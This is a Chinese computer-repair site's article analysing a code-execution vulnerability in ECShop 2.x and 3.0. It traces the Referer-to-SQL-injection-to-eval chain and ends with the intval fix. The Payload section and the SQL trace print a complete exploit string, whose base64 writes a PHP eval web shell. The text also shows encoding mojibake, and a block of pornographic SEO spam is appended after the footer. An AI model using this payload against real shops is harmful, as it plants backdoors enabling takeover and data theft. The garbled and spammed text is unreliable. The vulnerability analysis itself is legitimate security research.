錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù),錦州廣廈維修電腦,公司IT外包服務(wù)
topFlag1 設(shè)為首頁
topFlag3 收藏本站
 
maojin003 首 頁 公司介紹 服務(wù)項目 服務(wù)報價 維修流程 IT外包服務(wù) 服務(wù)器維護 技術(shù)文章 常見故障
錦州市廣廈電腦維修|上門維修電腦|上門做系統(tǒng)|0416-3905144熱誠服務(wù)技術(shù)文章
ECShop 2.x 3.0代碼執(zhí)行漏洞分析

作者: 佚名  日期:2018-09-07 20:41:35   來源: 本站整理

 ECShop是一款B2C獨立網(wǎng)店系統(tǒng),適合企業(yè)及個人快速構(gòu)建個性化網(wǎng)上商店。2.x版本跟3.0版本存在代碼執(zhí)行漏洞。
0×01 漏洞原理
ECShop 沒有對 $GLOBAL[‘_SERVER’][‘HTTP_REFERER’] 變量進行驗證,導(dǎo)致用戶可以將任意代碼插入的user_passport.dwt模板中,隨后insert_mod根據(jù)模板內(nèi)容動態(tài)執(zhí)行相應(yīng)的函數(shù),用戶插入惡意代碼導(dǎo)致模板動態(tài)執(zhí)行了lib_insert下的 insert_ads 方法,通過SQL注入,返回構(gòu)造的執(zhí)行代碼,致使后面調(diào)用cls_template模板類的fetch函數(shù),成功執(zhí)行惡意代碼。
0×02 環(huán)境搭建
IDE : PHPStorm
PHP: 5.4
ECshop 3.0
ECShop 2.7.3
0×03 分析過程
整體功能
首先過一下整體的功能,進入到user.php中。

正常情況下,程序會將$GLOBALS[‘_SERVER’][‘HTTP_REFERER’] 賦值給了$back_act,接著通過cls_template模板類的assign和display進行賦值和和傳值給了user_passport.dwt頁面模板;這時候user_passport.dwt頁面模板的內(nèi)容是這樣子的。

進入到$smarty->display中,通過inser_mod的分割和反序列之后動態(tài)調(diào)用函數(shù)獲得購物信息和會員信息,將會默認(rèn)執(zhí)行user_passport.dw上面的兩個函數(shù),即lib_insert函數(shù)類下的insert_cart_info和insert_member_info函數(shù)。
insert_cart_info函數(shù)//調(diào)用購物信息
insert_member_info函數(shù) //調(diào)用會員信息
user_passport.dw模板:

inser_mod函數(shù):

Payload
45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -";s:2:"id";s:3:"'/*";}
開始分析
在user.php 中的通過執(zhí)行登陸操作的時候,將$GLOBALS[‘_SERVER’][‘HTTP_REFERER’]的值修改為我們的代碼:

這時候$back_act的值就是我們篡改之后的REFERER值了,之后程序會繼續(xù)執(zhí)行:
$smarty->assign('back_act', $back_act);  //賦值
$smarty->display('user_passport.dwt'); //傳值到模板上 
經(jīng)過assign,display的賦值和傳值之后,這時候user_passport.dwt模板上的back_act值是這樣的:

在觀察堆棧參數(shù)的時候,可以觀察到this->_echash 的值跟我們的Payload的值是一樣的,這是ECSHOP的固定的HASH值,2.7版本的_echash值為554fcae493e564ee0dc75bdf2ebf94ca而3.x版本的_echash值為45ea207d7a2b68c49582d2d22adf953,所以所用的Payload也不一樣。

進入到display函數(shù)中,會執(zhí)行fetch函數(shù),獲得頁面模板內(nèi)容;
$out = $this->fetch($filename, $cache_id); //根據(jù)$cache_id獲取模板內(nèi)容也就是user_passport.dwt的內(nèi)容
接著按照_echash的值也就是固定hash值進行分割;

分割完之后程序會先執(zhí)行兩個默認(rèn)函數(shù),然后才執(zhí)行我們的代碼,繼續(xù)執(zhí)行insert_mod函數(shù) 。
$k[$key] = $this->insert_mod($val);
跟進,可以看到我們輸入的字符串根據(jù)“|”進行了分割,并分別賦值給了$fun和$para
所以最后的到的值類似于$fun = insert_ads $para = array(‘num’=>”*/union…”,’id’=>”*/”)

到了return $fun($para);這里,將會執(zhí)行l(wèi)ib_insert動態(tài)函數(shù)類下的 insert_ads($para)函數(shù)。
跟進,可以看到這里執(zhí)行了SQL語句,而$arr[‘id’]和$arr[‘num’]這兩個參數(shù)正是我們傳進來的數(shù)組中的內(nèi)容,參數(shù)可控,從而導(dǎo)致了注入。
這時候在數(shù)據(jù)庫中,執(zhí)行的語句為:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `ecshop3_0`.`ecs_ad` AS a LEFT JOIN `ecshop3_0`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time '1536052713' AND end_time >= '1536052713' AND a.position_id = ''/*' ORDER BY rnd LIMIT */ union select 1,0x272f2a,3,4,5,6,7,8,0x,0x272f2a,3,4,5,6,7,8,0x7B24617364275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4975634768774A79776E50443977614841675A585A686243676B58314250553152624D5445784D5630704F79412F506963702729293B2F2F7D787878,10-- -

可以看到數(shù)據(jù)庫的position_id和position_style字段分別被union select 查詢覆蓋為了'/* 和{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//}xxx

查詢結(jié)束之后,根據(jù)$position_style的值執(zhí)行了cls_template模板類的fetch函數(shù)。
$val = $GLOBALS[‘smarty’]->fetch($position_style); //執(zhí)行了smarty的fetch函數(shù)
跟進,看到這里,這里最終執(zhí)行了惡意代碼。
$out = $this->_eval($this->fetch_str(substr($filename, 4))); //最終執(zhí)行了語句
看一下內(nèi)部的字符串處理,傳入filename的值為:
” str:{$asd’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//}xxx”
然后使用substr對filenname進行切割,接著進入到$this->fetch_str中,可以看到fetch_str函數(shù)的返回內(nèi)容為格式的。

在跟入到$this->get_val中,執(zhí)行了$p = $this->make_var($val); ,跟入到make_var函數(shù)中。

字符串處理最后返回的值為:
$this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//'] 
拼接在一起,最后返回的數(shù)據(jù)為:
 echo $this->_var['asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzIucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTExMV0pOyA/Picp'));//>
從而最終導(dǎo)致了代碼執(zhí)行。

0×04 代碼執(zhí)行的調(diào)用鏈

0×05 修復(fù)方案
在ECShop3.6版本中insert_ads函數(shù)對$arr[‘num’]和$arr[‘id’]進行了強制類型轉(zhuǎn)換。
$arr[‘num’] = intval($arr[‘num’]);
$arr['id'] = intval($arr['id']);
 




熱門文章
  • 機械革命S1 PRO-02 開機不顯示 黑...
  • 聯(lián)想ThinkPad NM-C641上電掉電點不...
  • 三星一體激光打印機SCX-4521F維修...
  • 通過串口命令查看EMMC擦寫次數(shù)和判...
  • IIS 8 開啟 GZIP壓縮來減少網(wǎng)絡(luò)請求...
  • 索尼kd-49x7500e背光一半暗且閃爍 ...
  • 樓宇對講門禁讀卡異常維修,讀卡芯...
  • 新款海信電視機始終停留在開機界面...
  • 常見打印機清零步驟
  • 安裝驅(qū)動時提示不包含數(shù)字簽名的解...
  • 共享打印機需要密碼的解決方法
  • 圖解Windows 7系統(tǒng)快速共享打印機的...
  • 錦州廣廈電腦上門維修

    報修電話:13840665804  QQ:174984393 (聯(lián)系人:毛先生)   
    E-Mail:174984393@qq.com
    維修中心地址:錦州廣廈電腦城
    ICP備案/許可證號:遼ICP備2023002984號-1
    上門服務(wù)區(qū)域: 遼寧錦州市區(qū)
    主要業(yè)務(wù): 修電腦,電腦修理,電腦維護,上門維修電腦,黑屏藍(lán)屏死機故障排除,無線上網(wǎng)設(shè)置,IT服務(wù)外包,局域網(wǎng)組建,ADSL共享上網(wǎng),路由器設(shè)置,數(shù)據(jù)恢復(fù),密碼破解,光盤刻錄制作等服務(wù)

    技術(shù)支持:微軟等
    主站蜘蛛池模板: 精品无码人妻一区二区三区18| 中文字幕丰满乱子无码视频| 国产精品无码av在线播放| 午夜无码熟熟妇丰满人妻| 国产AⅤ无码专区亚洲AV| 日韩乱码人妻无码中文字幕| 亚洲AV无码一区东京热久久| 久久久久成人精品无码中文字幕| 国产怡春院无码一区二区| 亚洲成AV人在线播放无码| 18禁无遮挡无码网站免费| 人妻丰满熟妇岳AV无码区HD| 精品久久久无码中文字幕天天| 免费无码成人AV在线播放不卡| 精品久久久久久无码国产| 无码无需播放器在线观看| 人妻无码第一区二区三区| 久久亚洲精品无码观看不卡| 亚洲AV无码一区二区三区鸳鸯影院 | 97精品人妻系列无码人妻| 日韩va中文字幕无码电影| 精品无码黑人又粗又大又长| 亚洲综合无码一区二区三区| 亚欧免费无码aⅴ在线观看| 国产激情无码一区二区三区| 日韩激情无码免费毛片| 亚洲精品无码国产片| 亚洲AV无码一区二区三区牛牛| 中文字幕av无码一区二区三区电影| 成人免费无码大片a毛片| 无码人妻丰满熟妇啪啪网站牛牛| 久久久久精品国产亚洲AV无码| 无码乱人伦一区二区亚洲一| 国产av无码专区亚洲av桃花庵| 精品无码人妻久久久久久| 黄桃AV无码免费一区二区三区| 无码任你躁久久久久久久| 国产高清无码毛片| 国产精品va无码一区二区| 亚洲AV无码码潮喷在线观看| 无码成人一区二区|